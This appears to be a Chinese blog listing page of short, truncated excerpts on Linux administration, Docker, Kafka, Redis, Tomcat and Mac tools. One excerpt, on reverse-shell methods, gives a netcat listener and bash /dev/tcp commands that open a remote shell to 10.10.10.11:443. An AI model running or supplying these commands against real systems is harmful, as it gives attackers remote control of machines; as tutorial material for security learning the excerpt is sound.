系统相关

linux 系统资源查看命令

04-11
缓存和缓冲的区别 缓存(cache)是用来加载数据从磁盘中“读取”, 缓冲(buffer)是用来加载数据“写入”硬盘的. vmstat:vmstat命令是最常见的Linux/Unix监控工具,可以展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情况. free:用于显示内存状态.显示内存的使用情况,包括实体内存,虚拟的交换文件内存,共享内存区段,以及系统核心使用的缓冲区等. cat/proc/cpuinfo:查看cpu内存 uptime: 相当于t

ctrl+c,ctrl+d,ctrl+z在linux程序中意义和区别

04-11
ctrl+c和ctrl+z都是中断命令,但是他们的作用却不一样. ctrl+c是强制中断程序的执行,,进程已经终止. ctrl+z的是将任务中止(暂停的意思),但是此任务并没有结束,他仍然在进程中他只是维持挂起的状态,用户可以使用fg/bg操作继续前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行. 例如:当你vi一个文件是,如果需要用shell执行别的操作,但是你又不打算关闭vi,因为你得存盘推出,你可以简单的按下ctrl+z,shell会将vi进程挂起~,

mac docker desktop 安装

04-11
mac docker desktop 安装k8s k8s 一直在starting 在能访问外网情况下 然后 安装dashboard 参考   https://github.com/kubernetes/dashboard k8s 生成token  kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}') vim ~/.kube/c

反弹shell方法总结

04-10
本机ip为10.10.10.11,监听端口443. Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1 exec 5<>/dev/tcp/10.10.10.11/443;cat &

Linux启动初始化配置文件

04-10
Linux启动初始化配置文件(1)/etc/profile 登录时,会执行. 全局(公有)配置,不管是哪个用户,登录时都会读取该文件. (2)/ect/bashrc Ubuntu没有此文件,与之对应的是/ect/bash.bashrc bash.bashrc 是交互式shell的初始化文件. (3)~/.profile 某个用户读取的配置. 若bash是以login方式执行时,读取~/.bash_profile,若它不存在,则读取~ /.bash_login,若前两者不存在,读取~ /.prof

Mac 窗口管理软件 Spectacle

04-10
我个人使用的窗口管理软件是 Magnet(本人在 Mac 下付费的首款软件,记得是 6 元~),今天为大家介绍一款类似的开源软件. 简介 Spectacle 是一款可以快速调整窗口大小与位置的开源软件. 官网功能演示 常用场景 默认打开软件窗口最大化 需要多个窗口同时操作,如:开发的时候,一个看设计,一个写代码 外接显示器,同时控制多个显示器屏幕 与 Magnet 对比 Spectacle 快捷键 Magnet 快捷键 常用功能上大体一致,Magnet 作为商业软件,还有如下特性: 支持多达 6

Linux-------------kafaka基础

04-10
目录 一.kafka简介 二.常用命令和配置文件参数详解 2.1 常用命令参数 2.2 kafka-server-start.sh 2.2.1 start示例 2.3 kafka-console-consumer.sh 2.3.1 kafka-console-consumer.sh示例 2.4 kafka-console-producer.sh 2.4.1 kafka-console-producer.sh示例 2.5 kafka-topics.sh 2.5.1 kafka-configs.sh

linux无root权限安装screen

04-10
基本参考:https://blog.csdn.net/qq_27262727/article/details/103753634 screen 安装包下载: wget -c https://ftp.gnu.org/gnu/screen/screen-4.8.0.tar.gz 解压文件 tar -xzvf screen-4.8.0.tar.gz #新建/home/ysj/Install目录 mkdir Install #进入安装包目录 cd screen-4.8.0/ #在安装包目录下,新建bui

097_linux如何配置jdk路径

04-10
1.找到配置文件./etc 目录下的profile 2.配置三个路径与更新(注意在linux中的分割符使用的:,而window使用的;另外不要忘了配置classpath的.他代表的是当前路径) JAVA_HOME=/opt/jdk1.8.0_121PATH=$JAVA_HOME/bin:$PATHCLASSPATH=$JAVA_HOME/lib:.export JAVA_HOME PATH CLASSPATH 3.更新:source profile 注意:println()在linux不起作用,

Linux下安装tomcat5.5的方法

04-10
不知道大家是不是了解Linux下安装tomcat5.5的方法呢?最近有用户给小编留言说想了解Linux下如何安装tomcat5.5,那么下面我们就围绕着这个问题一起去看看Linux下安装tomcat5.5的方法介绍. 1.tomcat5.5.tar.gz 下载地址 http://tomcat.apache.org/download-55.cgi 2. 将tomcat5.5.tar.gz 压缩文件解压缩到 /usr 下面,文件夹改为 tomcat5.5 3. 打开 /etc下的profile文件,

陈远波linux常用命令集锦

04-10
1.启动tomcat并打印启动日志: ./startup.sh && tail -f ../logs/catalina.out 2.在文件中搜索内容: /要搜索的的关键字 3.查看Tomcat日志: tail -f catalina.out (需在tomcat的logs目录下运行) 4.解压tar: tar -zxvf jdk-8u11-linux-x64.tar.gz 5.停redis命令: ./bin/redis-cli shutdown 6.启用redis命令: ./bin/redi

Ucache灾备云支持多副本数据备

04-10
Ucache灾备云支持多副本数据备份Ucache灾备云支持多副本数据备份.数据库.文件.操作系统和虚拟化设备的增量备份数据与原全量数据合并成为新全量集,从而摆脱周期性全量备份的时间窗口开销.可以结合数据库的连续日志,在虚拟全备的基础上进一步降低RPO.针对于海量的数据资源,分钟级产生测试需要的数据,快速部署到测试环境中:测试数据基于虚拟快照技术,大幅减少测试数据占用的数据存储空间:采用链接克隆和完全克隆的技术,保证测试数据可读写,以及数据源不被改变.定时或周期性产生定制化的副本数据,用于其他部门

shell-2-三剑客?四剑客了解一下

04-10
一.grep.sed.awk称为:三剑客 三剑客听说是入门运维的小伙伴们是必备的技能,但广深小龙不是运维也大致学习了解一下. 但也有人说是四剑客,包括:find 当然我们也会一起了解下,如下图三剑客的价值犹如同sql的语法的重要性. 二.擅长过滤:grep 支持正则表达式,通常作为连接运行下一个命令. 格式:grep [-abcEFGhHilLnqrsvVwxy][-A<显示列数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范

2020.04.10 线上性能优化以及Linux下NIO/Epoll模型全解--实战

04-10
1.支付宝模拟线上优化实战 2.手写JUC工具与提升tomcat吞吐量 3.网络通信BIO设计与缺陷   -- accept()  和 read()阻塞 4.单线程解决高并发NIO精髓解读 5.OS内核下Epoll与Selete源码解读 第一部分: 性能优化 问题:如何在高并发场景下实现支付宝用户登录页面的信息获取?如用户信息,金额,积分等 浏览器  ---- Spring MVC ---- controller ----- service ---- 用户模块.余额模块.积分模块等 -- 调用多

Linux 环境下配置Redis 持久化 及其余配置内容

04-10
(一)因为redis 是基于把内存的,重启后redis中的内容会清除 1 进入redis 的 redis.conf 文件   编辑命令 appendonly yes 2 esc  shitf + zz     退出保存编辑内容 (二)其余配置   1 进入 redis 官网  选择documention   2 下拉找到 configuration 3 选择你的redis 版本   进去看  配置参考 4 部分 选择了就要承受 要不就别想 原文地址:https://www.cnblogs.com

macOS修改Docker容器的端口映射配置

04-10
查询容器ID 查询需要修改端口映射的容器ID docker inspect [OPTIONS] NAME|ID [NAME|ID...] OPTIONS说明 -f :指定返回值的模板文件. -s :显示总的文件大小. --type :为指定类型返回JSON. 进入Docker文件目录 cd ~/Library/Containers/com.docker.docker 使用screen进行登陆 cd /Data/vms/0 screen tty 进入配置文件夹 cd /var/lib/docker

UCACHE企业级灾备云最大可保留99999个副本数据备份

04-10
(IDC彭帅) 企业现在的数据保护真的可控吗? 物理环境.虚拟化和云环境混合架构是否让您在越来越复杂的IT架构中,系统自动化,我们不得不放弃数据的主动控制权,不得不在数据的使用安全问题,数据保护方面做出妥协和让步?真的不存在软件逻辑漏洞吗? 如果您能轻松拥有和国家重保单位一样级别的灾备能力,您会感兴趣吗? 是否愿意在保证现在架构不变的情况下,来增加企业异地容灾能力,来确保万无一失呢? 企业的核心数据如何进行保护,选择何种方式呢? UCACHE灾备云是一种能帮您轻松实现服务器灾难备份的云服务产品,

linux报错:export `xxxxx&#39; not a valid identifier的一般原因

04-10
原因就是你修改的 /etc/profile 文件里你加过空格 我的代码如下:export JAVA_HOM:=:/usr/java/jdk1.7.0_75export PATH = $JAVA_HOME/bin::$PATHexport CLASSPATH = .:$JAVA_HOME/lib/dt.jar::$JAVA_HOME/lib/tools.jar 修改为如下:export JAVA_HOME=/usr/java/jdk1.7.0_75export PATH=$JAVA_HOME/bi

Linux 修改 profile 报错

04-10
Linux修改profile文件改错了,恢复的方法 Linux修改profile文件改错了,恢复的方法在改profile的时候,改出问题了,除了cd以外的命令基本都不能用了,连vi都不能用了,上网查了下,用export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin,然后就可以用命令了,速度用vi把profile改回来,恢复正常.shell命令基本都在/usr/bin,/usr/sbin,/bin,/sbin,/usr/X11R6/bin中有定

在Linux中使用selenium

04-10
安装chrome yum install https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm 安装依赖库 安装必要的库 yum install mesa-libOSMesa-devel gnu-free-sans-fonts wqy-zenhei-fonts 安装 chromedriver wget http://npm.taobao.org/mirrors/chromedriver/2.41/ch